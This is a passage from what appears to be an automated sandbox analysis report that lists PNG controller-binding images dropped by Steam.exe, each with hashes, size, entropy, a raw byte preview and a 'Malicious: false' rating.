MD5:	F400881D86D02B401C54F57E9AC57F61
SHA1:	217D5F22CFA661604120A302819EE7CA024E74C5
SHA-256:	95E1F7DBDA8C1213D7334928BF4930576F8523FFCC38DD94EE725315463BFD58
SHA-512:	95B450EA55F5F74E06071D3D9C9907BC64BF50E53C8831AF8D5534716330E59EE98C00856AC3FF724B5876E082268DEBFB71C185B44B6A940C8FF1BE85B00782
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.............5.7.....IDATx...=K.@....].I(A.[. ...("8...:..EWqP..".....A.Q."..ti...".DT... }Om.;.....8....=w..w.....!.p.::>A.J.S.6.....x....1ur .SIN(...p......S.........8.Nz.o..+..v.....F...Z.@.V5.....V.....q.E..0L.......!<..U..b..><.b..Bl......z.7H......P..q.'.f8gV#lk....$v.......2..#.c@M.6...(..*.<.}...<......Au.........e.$.c...,...#.s.\.H..r\|.......... .^.a.p.....`u.h..;.<R.{K.s..$. ..........'.....IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_dp_up.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 23 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	495
Entropy (8bit):	7.469248064041601
Encrypted:	false
SSDEEP:
MD5:	A1DD13B1E194A81DC40A97AD48F69E2D
SHA1:	8D44B0975F27EF93CA34095EA69E8A182ED11101
SHA-256:	D6BB4DE6521237747B4607AC1F8C9CF559348A30A2281B5B7D88FE873760BF80
SHA-512:	4D7133727C112DD24C04CBA8EBD28DF1A0E8F83A2C3FB93EB9E0111897EF2455442ABE098E19DC42C5EB406D00A88E299F4FF52EF748FC7FE762C79CAE308653
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............\|fu....IDATx....KTQ....=.3....1$.@.....A.B.lS."l.J".7....2(j.U....B.....h..A..F3.7?.i1.h..8ov}W.{..sMz ..P...l......KGO.....$.E.ec..FL1(D>/~h...E.s].A..Z}....H..st....{...G.E..gS......D.T1...D.}Vo.~X.xu.QtS.++]S...O_m<.H......4...8k.....a*e.&S..o=k....{z.\.x ....s..N;a...SCWl"....;.&.........DGg.8.(.J9.j%t....FV............B+lY..E................oC...Y...C/.r......M........sxn.t..P.p...../......m.......w...0.a.I.......~. ..4{B......IEND.B`.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_lb.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 96 x 107, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3940
Entropy (8bit):	7.927571277409412
Encrypted:	false
SSDEEP:
MD5:	70F2DCF1CADD65B53116BE93A8EFF3F5
SHA1:	19470B3D86C1AD35427C15886A11D07031853AC2
SHA-256:	DF8E8857A119993C44BC18E815C4AFC631CA3777834AE7C0FCCA344F819F1243
SHA-512:	1C5E7A30B28B7DD96D2F4B49E4D9CC8D98C543DA850E47FD642FB766AD2AE809098850C44231AA824ED5D51028D3D302CD47BDDD027598AEBDA64C6D8AB93E16
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...`...k......_.....+IDATx..}tT..?.!!$..0."..0.t....O%[.z......t.j.T..[..vO..ew.v9..[,.....c*.._.4.^B.L.'$..!..I...3..<783.....{..9g.M....>.....y.s... ..\V..u.(......,........E@.....x.z.o@-.....T(.Byt..F.4`9.(pW..s.."..".....{..0.QC.H.>.$!3.u..(%...]jX.j..{.;cU.$`)p...JF.^%.=N...V!....z.........W.0,...l..pzp........~....cw.......~...tHM..L..WM...(.g..]...'...B.1.........\...e.G...l3....V....._...v.g.Y..gB.l...M..@......x.<.....OO..!.E.vCs#x..32Q.E9U....9.W.2%C..,.C..{..X.X....f.......?.>)...G&..^.;.....J.....5fE...j.?.<.w^..@..8.0:......Z...Qrf...#p.....`.^.....(..@.....P.4@.^..}........%.N`m......Pw.(......E\........@3r4..[...........}.g~(u...>.7-o.i..m.P...D...?.V...X..S...2.Z>P.........V.z.=3..O....k.i..].(...t..G.U..Qw.a~....R;....E:...8y..$..2.Z^'.......,.....~~O.EQJ...h<....!....(.w..^s..Ik..C.L.........K..D..Eo.Q"...O.4...L....xN...8r....B.L....9Z6.V\....C.._Z5. m..Y....V'...../]jx...m.{.x....x...w.(y......+M..4.g...l..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_ls.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9929
Entropy (8bit):	7.965500867320586
Encrypted:	false
SSDEEP:
MD5:	27FCC64ADCF15C534BDB2EB7F7946D22
SHA1:	06CD602E5A1DEFF69F1884D4E1CB368972A949D5
SHA-256:	38EEE27AE35156364EA6F806405AB389382CBE569FC058980B04B08B6C2FB11E
SHA-512:	8E4542CAE65F6EE28E8E6CF0D3829F17C0363DADA576CC1CEA4D01F71356B0C4C84280A6106127F03526D2F86B4D13DCA45CAA263401576AC282D11DC1291D3F
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_ls_down.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9182
Entropy (8bit):	7.963861014928979
Encrypted:	false
SSDEEP:
MD5:	46A3EFFE21404C36F185716FC642FB1B
SHA1:	221D0FA3EF77A900AD7FFFD1D5D245982075DE7E
SHA-256:	C701F772E2AE07EB4571068F69278967C0A81184AFE4E04A43AD12C764853F29
SHA-512:	BD1B811D550ABE678B72AB8B20B06492918EC6CFFA9ACDB612A62D365F0AEC8AE9E06477AA3A839B5394B4E361A8428409FCBFC307ECD125032D74F84D5328D8
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_ls_left.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9158
Entropy (8bit):	7.967467974632231
Encrypted:	false
SSDEEP:
MD5:	28919B57C16630B39BF45C20E6C38639
SHA1:	7C93BD0D3DFF2CF3B4BEDED376A6100F585F2497
SHA-256:	866C7264E2F2A2E246232E61FB0810223EA9ABE83A97249B12BA80E11512828D
SHA-512:	787D3AC4189CC0744BA00DFD8BB4B9DC18B8530A7B0AAC468EB8ACA375AE8585310B24DA14D6246F9FC9143F919B140479162304E81888AA68699AD833794005
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_ls_right.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9076
Entropy (8bit):	7.964761880806243
Encrypted:	false
SSDEEP:
MD5:	ED6FB24C194A5E875A8D3FECCBB437EC
SHA1:	014D31ADD0FA53A133D34DA2448BF0EB7A4BA551
SHA-256:	4161EA5E81935C1729F9DA1BB26158C509320D670B86422810B353A1C64095C1
SHA-512:	A25EC2E3FE5A4713ED9B339B2DF4D7D089AC6C625472C25C0A380D14E5F432CAC229172988A862D53BAB7CB49C220E018A54836918E443ED1BC61157F6C9C8BD
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_ls_up.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9186
Entropy (8bit):	7.9675467982695345
Encrypted:	false
SSDEEP:
MD5:	5A78E2D6CA80B687D4C40C0870A0AAB0
SHA1:	E7446BC9EB081CD7A962EB3F90E8241783403380
SHA-256:	7A8C5A1683E3B032451EC2DDF84CFEDDB162C95C69B8700694A78B87021B33E1
SHA-512:	E59A7B503808E12B15DA403891C37E9C53EA7BD2B68F544DB9B8B480CFBA96E691AC239C6293FA36317BF67D10C5AA909DF7746EC885A851B0BC3FB4699328EE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_lt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 99, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3376
Entropy (8bit):	7.942200654658637
Encrypted:	false
SSDEEP:
MD5:	D80E76CAFDCF153FDA5447221D524E3E
SHA1:	669D05DA309332173D228C49E1F4F2320B28068F
SHA-256:	BA4D45E0BD5A3CF8B913815459E3AD70E83462754CBAC57F170D183467E2AACD
SHA-512:	C236312F8D381F703FCB746498CD6EE81873C92D317861A9A0A545111F22B126DADC16FFAD90505D4ADA2AAA209B08B97322AE431B14C4F09C6C807B46E740D2
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C...c......f.E....IDATx..{pT...?..I......L$..l+V..b..V.....m..V...jk.mg../[...m....c...<B.%JA...,$...."..n6.{...w.v..M.n....!!.{..}s.=....l$]....s."...S...\|...\`z(...h.......P....@..rR......w._...H^.V.U.7...!'Ry.$`!......_.BuT........zM$C....8....%..X,...X.I.e.b.`<.;..a..>.{...l.3.q8q.+...*+...:..t.....y.....QHu@n...B~..N...C....a.I........0....d:.........D..5CG+...k]A!L..Sf.YC.s..,PJKb7.C.....%f....Z..=.6Y3i:L...JP...V.+@...$.x..{.'..E0....S..".....x.`=.^`U.......WVy....?..G..p)..%.L.......dH1.N~.<e.'..B....e...$...-@.{q..+...2.u8..c.......>x.]{wI5.^..-...\.(5.`EL1B..G....C{.y(....0.R..\...vF..IWh..vt...F..`...^..f...4(.f.O.3L....L!.q.2.hf..M.bzL.NJ0..........v.^..:'Pj......p"...D[.1j..j.g......D?&W`8^....1.....=......1..FK...)./S....O....F...+V..........w..G.......c.j"\.GM.M.._k..S..f..JT..N./.g.`.X}.A....4.v.^9d..w..W......l..[..s.....q8.....m..LS%'.....cg}S.9E....^....Q{.a.,.Cl).!<._.;M.X.M.c{E....1U..L\.5[..}...N....".0<T

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_rb.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 94 x 107, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4707
Entropy (8bit):	7.955549140620777
Encrypted:	false
SSDEEP:
MD5:	3C1996FDF8A0C7BEF87A549F26A22107
SHA1:	3845AA8D7E3F7456709789A02284FA580395A6EA
SHA-256:	30960313679DCDF5447AF7A5692CD272BA20DB96536B0667099EB938D583349A
SHA-512:	4E3AC0F1B31B6AA96DBAC92E3443C7DAC341DD420098C1D88CCE8F5A0CE1C05844D8AA80E025BA6ED97BFF0ACF89EB962745155D71DE71627531F2B0C55DF6EF
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...^...k......e5p...IDATx..ytTU..?oKU.K F .h.I...:.#9n.....3nmk..N/:z.{.....i.V.QQ....B."..qA...&Pl!!$"!..R..W...UbR.jI....s.......}.....{K0..xQ.1e..Q....8.(.......F`'.w`.P.8..+X-...L@H...."..../`...........b......{@'P..E'PFU.......PnZID......X....m..@..H..3.._..\.!u...VM..%).n...+N..9..hy5.....h.....<np.....d...`w@.P./..#!..IVb1...j)j.......o..'E.:`L.<._.......6A[k\|....F.b.3..p.........a...8....g.....{.......\|..A...W....).U@....Rx.....Vi._..;..C../...0..&.G....^..v...8..<b..57....W.m....P2.iTq......-..^q.K.E.4m.&..\mI0-.r.B.4..S....K...Fx..e.#.>h~....m..i[.L=.N....s.Zj.aP.....>.y....[.m[.(...3.....j)..$....O."...W3St0m.Rk.....:e..F...cC.n]...w..b...X.:e.!...I..;8..s...4Ef....{.N.W.2.Q.8....LZs..{.,..l...{d.g3.Qs>.$E.._5....2....l.z.a.1....h.sCr....Q"..=..d@..... ..uv.3~p.w.Y..L.kZ.-.c!..{..{I&G..u..T.....8.....U.....iT..1K.....\|..vFxAG)..........m...Q.@..r;....!}9X..k.............G....t:..j...*............j4.2.d.."`I...C..

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_rs.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9842
Entropy (8bit):	7.964043134081203
Encrypted:	false
SSDEEP:
MD5:	E0E988BA5BF34EE6AE199D313D5B28A6
SHA1:	0ED3BDC772F8E84A95FDFDA3EA8C051D20F07AD1
SHA-256:	337E10ED3BA554CD9F76F6499A02A1AC0564052D2B907E9042E08207E39D061C
SHA-512:	7CB125620A5AF36CD54088D0D36249AAE576AA6169BD26537F522100F311A611373F36C5A03910261C7B417300A532B4D0141BF0A984068D42D778C82076911B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_rs_down.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9089
Entropy (8bit):	7.960176153384367
Encrypted:	false
SSDEEP:
MD5:	B2D0E3315F2A362069772F08677DE5AB
SHA1:	DE64C958457EF702C9B89ABEA72E671DF4E47BE4
SHA-256:	90D5996812D43E47544BF5F7929703666EED8F6DFD6D3AFEB77FEC0308F20249
SHA-512:	11DED30AF36C8EE2A356C9F619D62AEBE423E376CEDC0A5F7B16BA713FD68E67EBC8343A88E1EA62DFDF5B8D3639D41CA4A2278B8EF9E75C45CF0088D4239C74
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_rs_left.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9077
Entropy (8bit):	7.967583874925778
Encrypted:	false
SSDEEP:
MD5:	2B6A2C895F163E2592FCCDA0537E8210
SHA1:	9D5D379121CF3CE93C1022FFE47E72088E71BD19
SHA-256:	5C1EAB3BB02A87360E7B1A663800A3FA916242971681211BB32B674BA53DD3CD
SHA-512:	5E4C80DA5880459C332ABDBE2A14460B2E2128BAB58739BF549B579843E6085724062BD46AEE73F9DB0D784A946BE312CE1261EE7734C5C4602BAA7C66476449
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_rs_right.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9005
Entropy (8bit):	7.962666391257407
Encrypted:	false
SSDEEP:
MD5:	2F7DDAFA20A3D977FD69F618CC4FDD40
SHA1:	9250395D9D085A1034FAB3270D323FFDCD6FF9FB
SHA-256:	0BFC422807ED88AC1F2E0BD0953BEAB5983B3653193013A686A13A7E17C01031
SHA-512:	8783F0C9B5FB4FF7873DB457F963B903C3BB22099C26F5DCD605CD1574A2431BDFB35B7D3EA270C9F7E5DD669AADEA97439D22A56C928E8C6438908191C6EA86
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_rs_up.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 141, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	9117
Entropy (8bit):	7.963445587881935
Encrypted:	false
SSDEEP:
MD5:	F784F6D06AE2252515B7C137AF0BD373
SHA1:	D6B0C0B26E2E482228391BAB24C244AFDAB1BAA6
SHA-256:	D4A0125362D0803CF9AFBD1F2FE69D21FEFDDAF369AC4C1E5DF88D15D47BB11C
SHA-512:	46A5D3BE756EDB0FE8C8ED5CDEB784573FB287F813F8E14123315BB4D4F04F40B304FB1A48075C1DA3EDA541E2A0EAF32DAFB12CBF2B8F7FA91F3DCA3AA3CE33
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...C..........(.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\library\controller\cropped_binding_gamepad_selection_rt.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 67 x 100, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3662
Entropy (8bit):	7.9423227276075865
Encrypted:	false
SSDEEP:
MD5:	81FB3C79EBFFCA01DC039277F77FDA4F
SHA1:	E4E5C924987A715626493C3CDBAE5304071A947D
SHA-256:	AB6C2D0E29CB1FB85E4E593E36FDAB6B1B2CC4B8AC20A51D359B21C863343DDD
